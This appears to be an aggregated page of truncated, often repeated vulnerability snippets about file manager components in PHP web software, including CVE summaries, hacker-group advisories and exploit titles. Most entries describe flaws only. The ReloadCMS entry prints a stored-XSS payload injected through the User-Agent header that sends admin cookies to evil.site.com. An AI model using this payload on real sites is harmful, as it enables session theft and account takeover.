CVE-2007-1638

Multiple cross-site request forgery CSRF vulnerabilities in the checkcsrftoken function in lib/lib.inc.php in PHProjekt 5.2.0, when magicquotesgpc is disabled, allow remote attackers to perform unauthorized actions as an arbitrary user via the 1 Projects, 2 Contacts, 3 Helpdesk, 4 Notes, 5 Search...

Code injection

Unspecified vulnerability in easy-content filemanager allows remote attackers to upload or modify arbitrary files via unspecified vectors...

CVE-2007-0252

Unspecified vulnerability in easy-content filemanager allows remote attackers to upload or modify arbitrary files via unspecified vectors...

CVE-2007-0252

Technical details (affected product/version, vectors, exploitability) are not provided in the supplied documents. Monitor for updates; no public details are available here.

CVE-2007-0252: Undefined Security Weakness

Unspecified vulnerability in easy-content filemanager allows remote attackers to upload or modify arbitrary files via unspecified vectors...

Knusperleicht FileManager DWL_Download远程文件包含漏洞

Knusperleicht FileManager是一款基于PHP的音乐管理程序。 Knusperleicht FileManager不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是脚本对用户提交的"dwldownloadpat"和"dwlincludepath"参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 Knusperleicht FileManager http://knusperleicht.at/index.php?knuspi=phpecke...

CVE-2006-5028: Undefined Security Weakness

Directory traversal vulnerability in filemanager/filemanager.php in SWsoft Plesk 7.5 Reload and Plesk 7.6 for Microsoft Windows allows remote attackers to list arbitrary directories via a ../ dot dot slash in the file parameter in a chdir action...

UNAK-CMS 1.5 - 'dirroot' Remote File Inclusion

============================================================================================== UNAK-CMS ================================================================================================ Exploit : -------------------------------- http://sitename.com/Script...

CVE-2006-4268: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in CubeCart 3.0.11 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 file, 2 x, and 3 y parameters in a admin/filemanager/preview.php; and the 4 email parameter in b admin/login.php...

quickie.txt

Kurdish Security Quickie Remote Command Execution Freedom For Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com Rish : High Class : Remote Script : Kurdish Security FileManager Remote Command Execution Freedom For Ocalan Contact : irc.gigachat.net kurdhack &...

filemanagerrem.txt

Kurdish Security FileManager Remote Command Execution Freedom For Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com Rish : High Class : Remote Script : FileManager Site : http://www.knusperleicht.at Code : $dwldownloadpath = "downloads"; $dwlincludepath = "dwl/";...

CVE-2006-3987

Multiple PHP remote file inclusion vulnerabilities in index.php in Knusperleicht FileManager 1.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 dwldownloadpath or 2 dwlincludepath parameters...

CVE-2006-3987: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in index.php in Knusperleicht FileManager 1.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 dwldownloadpath or 2 dwlincludepath parameters...

CVE-2006-3987

Multiple PHP remote file inclusion vulnerabilities in index.php in Knusperleicht FileManager 1.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 dwldownloadpath or 2 dwlincludepath parameters...

CVE-2006-3987

The CVE-2006-3987 entries describe multiple PHP remote file inclusion vulnerabilities in Knusperleicht FileManager 1.2 and earlier. The issue arises in index.php where an attacker can supply a URL in the dwl_download_path or dwl_include_path parameters, enabling remote code execution. Connected d...

[Kurdish Security # 20 ] Quickie Remote Command Execution

Kurdish Security Quickie Remote Command Execution Freedom For Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com Rish : High Class : Remote Script : Kurdish Security FileManager Remote Command Execution Freedom For Ocalan Contact : irc.gigachat.net kurdhack &...

plesk800.txt

Product: Plesk control panel Version: alert; Credits INVENT...

CVE-2006-3737

CVE-2006-3737 describes a cross-site scripting (XSS) vulnerability in the filemanager/filemanager.php component of the SWsoft Plesk control panel (version 8.0 and earlier). The issue arises when an authenticated user supplies a crafted file parameter, allowing injection of arbitrary web script or...

ReloadCMS 1.2.5 - Cross-Site Scripting / Remote Code Execution

nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once...

Design/Logic Flaw

Laurentiu Matei eXpandable Home Page XHP CMS 0.5 and earlier allows remote authenticated users to use the HTMLArea FileManager plugin to upload and execute arbitrary PHP files using 1 manager.php, 2 standalonemanager.php, and 3 images.php...